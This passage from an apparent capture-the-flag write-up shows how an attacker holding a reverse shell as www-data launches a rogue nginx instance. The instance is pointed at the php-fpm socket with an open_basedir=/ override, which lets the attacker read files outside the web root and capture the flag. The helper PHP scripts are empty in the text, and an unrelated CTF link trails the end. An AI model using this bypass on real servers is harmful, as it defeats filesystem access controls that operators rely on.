php-fpm, though, is not confined to any AppArmor policy. Even better, our reverse shell is running as `www-data` and we can talk to PHP via a UNIX socket (`/run/php/php7.3-fpm.sock`).
The obvious idea is to trick PHP into revealing the contents of `/`. PHP (php-fpm) speaks [FastCGI](http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html), which seems moderately annoying to implement.In order to avoid that, we spin up another instance of `nginx` with a custom config pointed at `/tmp/evil`.
```www-data@b5c29be1eabd:/tmp/evil$ cat nginx.confpid /tmp/evil/evil.pid;events {}
error_log /tmp/evil/err.evil;
http { access_log /tmp/evil/acc.evil; server { listen 127.0.0.1:31337 default_server; root /tmp/evil; server_name _; location ~ \.php$ { include /etc/nginx/fastcgi.conf; fastcgi_param PHP_VALUE open_basedir=/; fastcgi_pass unix:/run/php/php7.3-fpm.sock; } }}```
The `fastcgi_param PHP_VALUE open_basedir=/` bypass is crucial for this to work.If we omit it, php-fpm refuses to run scripts from `/tmp/evil` because its `open_basedir=` is set to `/var/www/html` in `www.conf`.
When we run `nginx` with this config, it complains that the error log is missing (I didn't find a way to make this warning go away), but runs anyway:```www-data@b5c29be1eabd:/tmp/evil$ /usr/sbin/nginx -c /tmp/evil/nginx.confnginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (6: No such device or address)www-data@b5c29be1eabd:/tmp/evil$ cat evil.pid172```
Now all we need is a script that is going to be run by `php-fpm`:```www-data@b5c29be1eabd:/tmp/evil$ cat evil.php
```
And another one to orchestrate everything and finally get the flag:```www-data@b5c29be1eabd:/tmp/evil$ cat fetch_evil.php
www-data@b5c29be1eabd:/tmp/evil$ php -f fetch_evil.php/flag_XaPrL5YjYmIhrOqxqSbUaE3u.txtwww-data@b5c29be1eabd:/tmp/evil$ cat /flag_XaPrL5YjYmIhrOqxqSbUaE3u.txthxp{maybe_this_will_finally_get_me_that_sweet_VC_money$$$}``` |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/Speedy](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/Speedy) |
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